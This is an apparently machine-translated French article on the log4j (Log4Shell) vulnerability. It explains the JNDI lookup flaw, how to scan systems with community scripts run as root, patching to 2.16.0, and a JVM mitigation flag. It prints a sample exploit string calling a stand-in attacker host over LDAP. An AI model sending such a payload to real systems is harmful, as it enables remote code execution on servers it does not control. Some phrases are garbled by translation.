Un exploit critique dans la bibliothèque Java répandue a été trouvé, perturbant une grande partie d’Internet alors que les administrateurs de serveur se démènent pour le réparer. La composante vulnérable, log4j, est utilisé partout comme bibliothèque incluse, vous devrez donc vérifier vos serveurs et vous assurer qu’ils sont mis à jour.
Comment fonctionne cet exploit ?
En ce qui concerne les exploits, les log4j L’ulnérabilité est de loin l’une des pires de ces dernières années, marquant un rare 10/10 sur l’échelle CVSS, et va hanter tout Internet pendant de nombreuses années à venir.
Le pire c’est que log4j n’est pas une application, c’est une bibliothèque open source utilisée par de nombreuses autres applications. Vous ne l’avez peut-être pas installé directement ; il peut être inclus dans d’autres .jar fichiers, ou installé par d’autres applications en tant que dépendance.
Essentiellement, il permet aux attaquants d’envoyer du texte à votre application, et s’il l’enregistre quelque part (par exemple, l’enregistrement d’une chaîne d’agent contrôlée par l’utilisateur sur un serveur Web), votre serveur exécutera un code malveillant. Le format du texte ressemble à l’exemple suivant : une chaîne extrêmement simple contenant un lien vers une adresse distante.
$jndi:ldap://attacker.com/a
La composante vulnérable dans log4j est l’interface Java Naming and Directory, qui permet à l’infrastructure de journalisation d’effectuer des requêtes à distance. Sauf qu’il désérialise également le fichier à ce point de terminaison et est capable de charger .class fichiers contenant du code à distance. Ce qui est mauvais.
Suis-je vulnérable ?
L’exploit a été rapidement corrigé dans log4jla dernière version de , 2.16.0, mais le problème n’est pas de le résoudre, il s’agit de savoir où vous en avez besoin. Puisque log4j est une dépendance intégrée, il peut être non trivial de rechercher la version spécifique de celle-ci sur votre système. Et, puisque Java est si populaire, de nombreux outils et composants tiers peuvent l’utiliser, vous ne pouvez donc même pas connaître si vous exécutez un logiciel Java sur vos machines.
Même si vous pensez que vous n’êtes pas vulnérable, vous devez probablement encore vérifier. Cet exploit affecte tellement de systèmes qu’il y a de fortes chances que vous exécutiez log4j ou Java sans s’en rendre compte.
Heureusement, les versions JDK supérieures à 6u211, 7u201, 8u191, et 11.0.1 ne sont pas affectés par le vecteur d’attaque principal (utilisant LDAP) qui est actuellement le plus exploité. Vous devez quand même le patcher, car il peut également être facilement utilisé avec d’autres vecteurs d’attaque. De plus, le simple fait de faire une demande à un point de terminaison peut révéler des données sur les machines de votre réseau, ce qui n’est pas une bonne chose non plus.
Cet exploit met en évidence pourquoi il est important de conserver une nomenclature logicielle (SBOM), essentiellement une liste de tous les logiciels sur vos systèmes, d’où ils viennent et de quoi ils sont faits. À l’avenir, cette connaissance peut vous aider à corriger rapidement des attaques comme celle-ci.
À l’heure actuelle, vous êtes probablement simplement préoccupé par la mise à jour de votre réseau. Pour ce faire, vous devrez analyser vos systèmes pour trouver log4j versions utilisées par votre logiciel et faites une liste de tous les composants vulnérables.
Analyse de votre système
De nombreuses personnes ont déjà créé des scripts pour analyser automatiquement les systèmes à la recherche d’installations vulnérables, comme celui-ci écrit en Python et celui-ci de la société de sécurité LunaSec. L’un des plus faciles à utiliser est ce script bash simple, qui peut analyser vos packages et identifier log4j versions, et peut également vous dire si votre système utilise même Java en premier lieu. Dans la plupart des cas, vous souhaiterez exécuter plusieurs analyses avec différents scripts, car il n’est pas garanti que l’un d’entre eux soit efficace à 100% pour identifier chaque système vulnérable.
Vous pouvez le télécharger et l’exécuter avec quelques commandes. Cela doit être exécuté en tant que root pour analyser l’ensemble de votre système, alors bien sûr, faites attention aux scripts que vous exécutez avec les privilèges root sur Internet. Cela aussi est une exécution de code arbitraire.
wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q chmod +x log4j_checker_beta.sh sudo ./log4j_checker_beta.sh
Les résultats de ce script mettent en évidence exactement ce qui rend ce log4j vulnérabilité si terrible – l’exécution de cela sur mon serveur personnel a révélé que j’étais vulnérable à l’exploit, quelques jours après le jour zéro, même si je pensais que Java n’était pas installé sur cette machine parce que je n’exécute aucun de mes propres logiciels Java.
Elasticsearch s’exécute en arrière-plan sur cette machine, qui est écrite en Java. Je n’ai pas eu à installer Java manuellement pour installer Elasticsearch ; il inclut une version groupée d’OpenJDK. Il comprend log4j dans cette installation et est vulnérable à l’exploit.
Le correctif, pour Elasticsearch au moins, met à jour tous les packages et suit leurs guides d’atténuation. Ce sera probablement le cas pour n’importe quel logiciel que vous exécutez ; vous devrez mettre à jour log4j directement, mettez à jour le logiciel en le regroupant ou corrigez-le avec les meilleures pratiques d’atténuation utilisées par d’autres personnes.
Si vous ne pouvez pas corriger le fichier jar pour une raison quelconque, vous pouvez utiliser cet indicateur JVM pour atténuer le problème, ce qui indique simplement log4j de ne jamais faire de recherche lors du formatage des messages. Ceci n’est pas recommandé cependant, et vous devriez essayer d’obtenir log4j 2.16.0 installé partout où vous le pouvez pour résoudre entièrement le problème.
-Dlog4j2.formatMsgNoLookups=true